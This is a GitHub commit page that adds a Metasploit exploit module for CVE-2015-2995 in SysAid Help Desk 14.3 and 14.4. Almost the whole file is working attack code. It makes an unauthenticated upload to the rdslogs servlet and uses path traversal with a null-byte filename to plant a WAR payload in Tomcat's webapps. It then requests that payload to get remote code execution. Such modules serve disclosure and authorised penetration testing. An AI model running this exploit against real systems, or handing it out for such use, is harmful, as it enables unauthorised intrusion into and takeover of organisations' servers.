Skip to content

Commit 62993c3

Browse files
author
Pedro Ribeiro
committed
Create sysaid_rdslogs_fle_upload.rb
1 parent 766d726 commit 62993c3

File tree

1 file changed

+127
-0
lines changed

1 file changed

+127
-0
lines changed
Lines changed: 127 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,127 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'zlib'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::FileDropper
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'SysAid Help Desk rdslogs Arbitrary File Upload',
18+
'Description' => %q{
19+
This module exploits a file upload vulnerability in SysAid Help Desk v14.3 and v14.4.
20+
The vulnerability exists in the RdsLogsEntry servlet which accepts unauthenticated
21+
file uploads and handles zip file contents in a insecure way. Combining both weaknesses
22+
a remote attacker can accomplish remote code execution. Note that this will only work if the
23+
target is running Java 6 or 7 up to 7u25, as Java 7u40 and above introduce a protection
24+
against null byte injection in file names. This module has been tested successfully on version
25+
v14.3.12 b22 and v14.4.32 b25 in Linux. In theory this module also works on Windows, but SysAid
26+
seems to bundle Java 7u40 and above with the Windows package which prevents the vulnerability
27+
from being exploited.
28+
},
29+
'Author' =>
30+
[
31+
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
32+
],
33+
'License' => MSF_LICENSE,
34+
'References' =>
35+
[
36+
[ 'CVE', 'CVE-2015-2995' ],
37+
[ 'OSVDB', 'TODO' ],
38+
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ],
39+
[ 'URL', 'FULLDISC_URL' ]
40+
],
41+
'DefaultOptions' => { 'WfsDelay' => 30 },
42+
'Privileged' => false,
43+
'Platform' => 'java',
44+
'Arch' => ARCH_JAVA,
45+
'Targets' =>
46+
[
47+
[ 'SysAid Help Desk v14.3 - 14.4 / Java Universal', { } ]
48+
],
49+
'DefaultTarget' => 0,
50+
'DisclosureDate' => 'Jun 3 2015'))
51+
52+
register_options(
53+
[
54+
Opt::RPORT(8080),
55+
OptInt.new('SLEEP',
56+
[true, 'Seconds to sleep while we wait for WAR deployment', 15]),
57+
OptString.new('TARGETURI',
58+
[true, 'Base path to the SysAid application', '/sysaid/'])
59+
], self.class)
60+
end
61+
62+
63+
def check
64+
servlet_path = 'rdslogs'
65+
bogus_file = rand_text_alphanumeric(4 + rand(32 - 4))
66+
res = send_request_cgi({
67+
'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
68+
'method' => 'POST',
69+
'vars_get' => {
70+
'rdsName' => bogus_file
71+
}
72+
})
73+
if res and res.code == 200
74+
return Exploit::CheckCode::Detected
75+
end
76+
end
77+
78+
79+
def exploit
80+
app_base = rand_text_alphanumeric(4 + rand(32 - 4))
81+
tomcat_path = '../../../../'
82+
servlet_path = 'rdslogs'
83+
84+
# We need to create the upload directories before our first attempt to upload the WAR.
85+
print_status("#{peer} - Creating upload directory")
86+
bogus_file = rand_text_alphanumeric(4 + rand(32 - 4))
87+
send_request_cgi({
88+
'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
89+
'method' => 'POST',
90+
'data' => Zlib::Deflate.deflate(rand_text_alphanumeric(4 + rand(32 - 4))),
91+
'ctype' => 'application/xml',
92+
'vars_get' => {
93+
'rdsName' => bogus_file
94+
}
95+
})
96+
97+
war_payload = payload.encoded_war({ :app_name => app_base }).to_s
98+
99+
# We have to use the Zlib deflate routine as the Metasploit Zip API seems to fail
100+
print_status("#{peer} - Uploading WAR file...")
101+
res = send_request_cgi({
102+
'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
103+
'method' => 'POST',
104+
'data' => Zlib::Deflate.deflate(war_payload),
105+
'ctype' => 'application/octet-stream',
106+
'vars_get' => {
107+
'rdsName' => tomcat_path + app_base + ".war" + "\x00"
108+
}
109+
})
110+
111+
# The server either returns a 200 OK when the upload is successful.
112+
if res and (res.code == 200)
113+
print_status("#{peer} - Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s +
114+
" seconds for deployment")
115+
register_files_for_cleanup("webapps/" + app_base + ".war")
116+
sleep(datastore['SLEEP'])
117+
else
118+
fail_with(Exploit::Failure::Unknown, "#{peer} - WAR upload failed")
119+
end
120+
121+
print_status("#{peer} - Executing payload, wait for session...")
122+
send_request_cgi({
123+
'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
124+
'method' => 'GET'
125+
})
126+
end
127+
end

0 commit comments

Comments
 (0)